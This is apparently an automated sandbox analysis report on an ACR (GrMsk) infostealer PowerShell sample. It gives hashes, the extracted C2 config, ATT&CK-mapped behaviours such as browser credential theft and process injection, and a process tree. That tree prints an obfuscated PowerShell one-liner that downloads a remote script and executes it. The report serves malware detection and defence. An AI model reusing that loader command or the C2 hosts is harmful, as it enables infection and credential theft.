acrstealer | 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/11/2026, 06:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BE5-4532-a7E5-AE1a29.ps1
Size 632KB
Sample261102-g3f2vsfw41
SHA256 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c
MD5 7d35ce2f577a56fec910bf6a566bdbfc
SHA1 07e96e5f68c9fc1102de195eedcc0336813c38a9
SHA512 734249de00ae6898e247d0b396ec989341e7a08fec90302e9b08448e699065c9fafa2be03a8c1dd63862659499f803a18f07bf9241399d2c067ee2b2764d6ada
SSDEEP 6144:y0VwaSprBZJSplsHGLRmRPRhe1Q0DwwoF8qSX1zjS1hDHuDHXtuRYRa6Fj9hWR+a:fRmRPR1wKRYRwWslB11kjyh2Q2oL1Lz
TLSH
T142D4EB6633C4FC62D14ADBB8AD110C17E3EE11A9DFDF989ECBD5F6480887518464ECA2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.5.3-alpha1

lb.birchcore.cc

Decoy

fastly.net

Attributes

guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 4268 created 3284	4268	rundll32.exe	56

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
30	452	powershell.exe
37	4268	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe
452	powershell.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
540	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3760	powershell.exe
3760	powershell.exe
452	powershell.exe
452	powershell.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe
4268	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
4268	rundll32.exe
4268	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe
6048	chrome.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 452	3760	powershell.exe	96
PID 452 wrote to memory of 4268	452	powershell.exe	99
PID 452 wrote to memory of 4268	452	powershell.exe	99
PID 4268 wrote to memory of 6048	4268	rundll32.exe	100
PID 6048 wrote to memory of 448	6048	chrome.exe	101
PID 6048 wrote to memory of 1828	6048	chrome.exe	102
PID 6048 wrote to memory of 1828	6048	chrome.exe	102
PID 6048 wrote to memory of 540	6048	chrome.exe	103
PID 6048 wrote to memory of 1444	6048	chrome.exe	104
PID 6048 wrote to memory of 1444	6048	chrome.exe	104
PID 6048 wrote to memory of 5632	6048	chrome.exe	106
PID 6048 wrote to memory of 1268	6048	chrome.exe	107
PID 6048 wrote to memory of 5632	6048	chrome.exe	106
PID 6048 wrote to memory of 1268	6048	chrome.exe	107
PID 6048 wrote to memory of 4672	6048	chrome.exe	108
PID 6048 wrote to memory of 4672	6048	chrome.exe	108
PID 6048 wrote to memory of 4800	6048	chrome.exe	110
PID 6048 wrote to memory of 5544	6048	chrome.exe	113
PID 6048 wrote to memory of 5320	6048	chrome.exe	114
PID 6048 wrote to memory of 5360	6048	chrome.exe	115

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\BE5-4532-a7E5-AE1a29.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) https://297-47d1-852d-0f1a190C45.garbagestress.cc/install.ps1 | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa1645c728,0x7ffa1645c734,0x7ffa1645c740
    3⤵
    PID:448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,12086072008374360898,14342681724313998135,262144 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2004 /prefetch:2
    3⤵
    PID:1828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,13951552834004103301,13738102658530598514,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2292 /prefetch:3
    3⤵
    - System Time Discovery
    PID:540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,6436277243796533555,9812793731623574800,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2548 /prefetch:8
    3⤵
    PID:1444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,14083689230723519216,11115109726794976957,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3148 /prefetch:1
    3⤵
    PID:5632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,18372043199664699481,8277040224665103738,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:1268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3972,i,5685096159654890843,2262495574011347298,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3984 /prefetch:2
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5376,i,2101964508461660822,10244164598742392104,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5392 /prefetch:8
    3⤵
    PID:4800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,5215596797089249383,1090687039108713913,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5424 /prefetch:8
    3⤵
    PID:5544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,10905942735616724053,6021906295945002825,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5520 /prefetch:8
    3⤵
    PID:5320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5484,i,17131974286009724034,10674551766920893276,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5792 /prefetch:8
    3⤵
    PID:5360

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

079e926c-6152-4758-a562-3ae62ce404f7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\079e926c-6152-4758-a562-3ae62ce404f7.tmp
Size 269KB
SHA256 55eae649e8abb7114b9f5337cb5a44ccebca1dec4ec09ec53823bab747476bd6
MD5 47c6843d4bccdfe6c02602b89d11b754
SHA1 1d23ede33f8464cd41525f41721e684a1d4e0642
SHA512 e3f46adf66de71d2842ad7bc8203588b746d1b9402f47826ea3ac02135cacc5bc9c4a46e00207f4e1012ba59eb83ad95588ddea7c1f23a11a28cd49693a858fe
SSDEEP 6144:wyQcfSxZLpN1YNTRJsX0qZcpYPgv3e+hFD+7t56OD9ZfSApprc:jfqrpnIlJsXzhQ3eyFSXD9ZfS4u
TLSH
T1BE4412B6A196DD7BC9754282F0B7B381CEB12CD8859D1F4404A25FCE626FD880313B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

562974d4-2b4c-4305-8d41-798deccd9832.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\562974d4-2b4c-4305-8d41-798deccd9832.tmp
Size 130KB
SHA256 b6eed3c98dae6ca0c442dd997803d0e8369a5ac8c1c56d52fcf030b4ee41554e
MD5 f487b84422a8ede5d5d2e918b3c1ed5d
SHA1 6481bcd55d394e4abc263337d6fc3a654c0f268d
SHA512 a8b8b230308ef03cd16838eaada0ec3c868bf9fc5b5af0d0f6c8a51d09bc7608df4d61df1632ef9105bec080a29bd9ce58db88b4279b81519154bb474543d767
SSDEEP 3072:t+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gy:t+hFD+7t56OD9ZfSAppry
TLSH
T1F1D31232AA91C8BBC9BC6541B157A304DE766CED41DE3A09444A5F8EE09FD4C0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

63eef63e-2d0d-4639-9439-2025616ff140.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\63eef63e-2d0d-4639-9439-2025616ff140.tmp
Size 269KB
SHA256 a8766646b089d2ab964c387841574acd7f992e674c150a7c35110260b6de96ed
MD5 416c1fa871d85e9013c29580808be6c0
SHA1 7c2fe5a3b5a65106b2fde39830441ed3e1e5fa51
SHA512 053642ec588660c814a2875f12bac3772806ae932039af93f5af4531b89b11a54be8b039db5a3646133672cb174fe29fb1f08bc1215ab4f2b5d04fbabddf5f79
SSDEEP 6144:9yQcfSxZLpN1YNTRJsX0qZcpYPgv3e+hFD+7t56OD9ZfSApprc:kfqrpnIlJsXzhQ3eyFSXD9ZfS4u
TLSH
T1084412B6A1A6DD7BC9754242F0B7B381CEB12CD8859D5F4404A25FCE626FD880313B5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6947440b-b174-4fa9-9876-b6bb46b8389f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\6947440b-b174-4fa9-9876-b6bb46b8389f.tmp
Size 414B
SHA256 ad17f98bbc51f58b9fbbef86280853d0fba5e767ae94e17cee9deb67d680c8fd
MD5 c2a795edd327be1cc13f38328a635943
SHA1 35ecd2e3b087af169d62c93696803c311c68b614
SHA512 9bfad4a1e092aac19ae2ffa98a85785ee9736317536e58dfa5ccdc1762bdd9c989829a058d5dbea79719cc3b9c5929ba6a4f60baa26cc7746c6a84fa3c462cab
TLSH
T1E0E02BB6C8159C2759FB071D61958A4EEB50232B6B40890B363C90188F712368AD999C
MD5 SHA1 SHA512 TLSH

Submit Download

7eeda67d-fed7-4004-a105-a3c82b73375d.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\7eeda67d-fed7-4004-a105-a3c82b73375d.tmp
Size 17KB
SHA256 a55c9d9bfbff27f4080d00af8282862be9cc6b021b0d1cf3b654e6d1857a1705
MD5 c8926c13ed1e541a9ebca052800d518d
SHA1 3522a9925410a3faf9a73cb924c1c1fb4dbffb5b
SHA512 0cc7f70f08f90753f1713955142d2f28c2b7b8284eb83bb86dea581036af8c57e30edda3af83eb81e1295de946e3c6812dc7f1671fca9c13e29cb035d90943a4
SSDEEP 384:j5j3S7KxkXqKf/pUZNCgVLH2HfgslA/7pLuLceS9YXOD32+ErU3tJHGT7LAE:jJ3S7KxkXqKf/pUZNCgVLH2HfgsC/7pO
TLSH
T1E772FA67BC4C9A3B4F94C68CDC267F4FADB5024B61ED886443FA582603D5ACB05062FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8242f32b-edfe-429e-9de9-10e78ddf6353.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8242f32b-edfe-429e-9de9-10e78ddf6353.tmp
Size 12KB
SHA256 ade3fef5abf5d950f441b2c5845660ed822487bf749399e99928f90a9fd8540d
MD5 deb52770dea053bff9741d094dfd2e09
SHA1 e777c3ef997beb9ba00e9611bcf566826084dbbb
SHA512 6763a4fbd01f393374c3922137b94e1c0981a39ea61e902cca775361ef5722d2840a265026fb226e4fa1d6f19af4f47f268b4d8dfd5f8e38d6a1b62448f4f394
SSDEEP 192:kRCJU7VHWLzv78pAPRp2b9THsb+WNnR9Pea4ebVpVyIsnAUgtaJ:kRCJu2L4UXwJwfPeiVP8
TLSH
T1DA42C52AEE10753B5CDBC22AF9657B57D7F5102160D42E84EAFC893C25EB9CC221742B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8accce17-e9d3-4f43-8eb2-9d88bfd8c3c7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8accce17-e9d3-4f43-8eb2-9d88bfd8c3c7.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Size 20KB
SHA256 1c44e529cdf01aed05762ff8a249773a956b6989eb8ef85c8be14c95124a1f25
MD5 6880d67e16f59c729d5142591c1210b8
SHA1 32271b7b233f2ef355ed210c26ffbc26fa5a9339
SHA512 c4a00020e58f58203f1927f468151de694089612ddfac6f2c1d812ab792f4f20200f073f564766e90af5279cca1a7780218ffa1189c76c2a811395e8de2a0f2b
SSDEEP 48:Tb9aw/aHLopFMavU1iBTHmebd/Br5gx4D:XPareMaZ6qdprzD
TLSH
T13D92108F4F303554C0F88736E9C2498B1E7D222D9353A999EE5410F38CD25ABF5066B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

de54c779-5fbb-4356-b92a-a8b57c105153.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\de54c779-5fbb-4356-b92a-a8b57c105153.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Size 120B
SHA256 e3e7b491d2197e92df93e5920722e7dfcede8e48dad696ec84979a57a8f32c7c
MD5 6ea07599fd2061a45b3b0d6b703fa2a8
SHA1 5dbf3fb7da0b272443b1b718b52b3ca4786a906b
SHA512 c1fd5bda889892b50d55cd91d598292815e34088c1f138c2f5aade44545848fb01004335aa43b3ab868fc8337c32e7bd44f67f9d4cf4a23196a61ecb1b853dc2
TLSH
T1E8B0124A90452301C44A03B01650E05C36A0CF38F52363858AF00E12D831150511B208
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 cbbc358c78fd214b2c369f80cec81f0ecf40336820265c0a2c71c5ad07ceda06
MD5 ebd558ace5c5c175e02621e8affbb340
SHA1 3023faf384e930e715ef1951d31d73b3e0a18f05
SHA512 f5f611d83bfda9738fbca2308622804f2fd5e206252f11f2fbcd4cc609a41dde02ae428e9e9140f7b30a46b364bd855f486ef0129f2350449b8eafe47246c3cc
TLSH
T188B02200C002A303C00203F03C80B0CA30A0EF22CB032202A2E02B33CC322200B20020
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5fa79d68f9649640f8cd27827cc9eae50a6a1625ac0d31403411033bafce38e0
MD5 0479f362f2d82d2705018260559a8cbb
SHA1 92625a9f3f36c82fadf7be2c1202dfd9c907b24e
SHA512 c1b85a0f0c6050bc3de30e7e1ba5115c4f751bd9c68a4768d264ec775fe74f9f3559e608ce8148ed527a8cc95f7dc652e6aac485f5dd9675679d08d4c6126565
TLSH
